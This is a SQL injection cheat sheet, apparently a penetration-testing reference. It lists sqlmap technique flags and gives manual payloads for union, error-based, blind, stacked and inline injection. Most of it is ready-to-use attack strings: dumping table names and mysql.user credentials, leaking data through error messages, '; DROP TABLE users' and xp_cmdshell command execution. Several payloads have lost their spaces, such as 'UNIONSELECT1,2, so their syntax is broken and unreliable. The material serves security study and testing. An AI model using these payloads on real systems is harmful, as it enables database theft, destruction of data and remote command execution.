SQLMap supports techniques BEUSTQ: Boolean blind (B), Error-based (E), Union (U), Stacked (S), Time-based blind (T), Inline (Q), plus Out-of-band (OOB) via DNS exfiltration. Use sqlmap -hh to list techniques.
Union Based SQLi
Direct data extraction by combining results from two queries.
Mechanics:
Find Column Count:ORDER BY 1, ORDER BY 2… until error.
Find Visible Columns:UNION SELECT 1, 2, 3, 4 (Check which numbers appear on screen).
Extract Data: Replace visible number with database(), user(), or column name.
-- Get column count... start at 2 and iterate up
' ORDER BY 2-- -
-- MORE ROBUST since it will error on bad column sizes
'UNIONSELECT1,2-- -
-- Get current user and database
' UNION SELECT 1, user(), database(), 4 -- -
'UNIONSELECT1, user, database(), 4FROM mysql.user-- -
-- Enumeration
' UNION SELECT 1, group_concat(table_name), 3, 4 FROM information_schema.tables WHERE table_schema=database()-- -
Combine two queries to dump data directly into the response. Count the displayed columns (and maybe iteratively increase columns amount)
sqlmap -u "<URL>" --technique=U --union-cols=5
Error Based SQLi
Force the database to dump data inside a verbose error message.
Mechanics:
Intentionally break syntax or use functions that fail when passed specific strings, causing the DB to return the string (the flag) in the error.
-- MySQL (extractvalue)
' AND extractvalue(1, concat(0x7e, (SELECT @@version), 0x7e))-- -
-- MSSQL (Conversion Error)
'AND1=(SELECT TOP 1table_nameFROM information_schema.tables)--
Trigger DB errors that leak data inside the error message.
sqlmap -u "<URL>" --technique=E
Blind SQLi (Boolean)
Infer data by asking True/False questions. Content changes based on the answer.
Mechanics:
If 1=1 (True) loads the page normally, and 1=2 (False) hides content, the target is vulnerable.
-- Verification
' AND 1=1-- - (Page loads)
'AND1=2-- - (Content missing)
-- Data Extraction (Manual logic)
-- Is the first letter of user() 'a'?
' AND (SELECT substring(user(),1,1))='a'-- -
Infer data from response delays (e.g. SLEEP) when the condition is true.
sqlmap -u "<URL>" --technique=T
Stacked Queries SQLi
Append additional SQL statements after the vulnerable query (e.g. non-query statements or OS commands).
Mechanics: “Piggy-backing” — inject a second statement after the first (e.g. ; DROP TABLE users). Only works when the DB and driver allow multiple statements (e.g. MSSQL, PostgreSQL). SQLMap can use it for data retrieval (similar to time-based) or for non-query/OS execution when supported.
-- Example: second statement runs after the first
'; DROP TABLE users-- -
'; EXEC xp_cmdshell 'whoami'-- -
Append extra SQL statements after the vulnerable one (e.g. INSERT/UPDATE/DELETE or OS commands); requires DB support (e.g. MSSQL, PostgreSQL).
sqlmap -u "<URL>" --technique=S
Inline Queries SQLi
Embed a subquery inside the original query so the result is used in place.
Mechanics: The vulnerable app must use the result of a subquery in a way that lets you inject (e.g. SELECT (SELECT @@version) FROM ...). Less common than other types because the code structure has to match. SQLMap supports it when the injection point allows embedded queries.
-- Example: version in a subquery
SELECT (SELECT@@version) FROM ...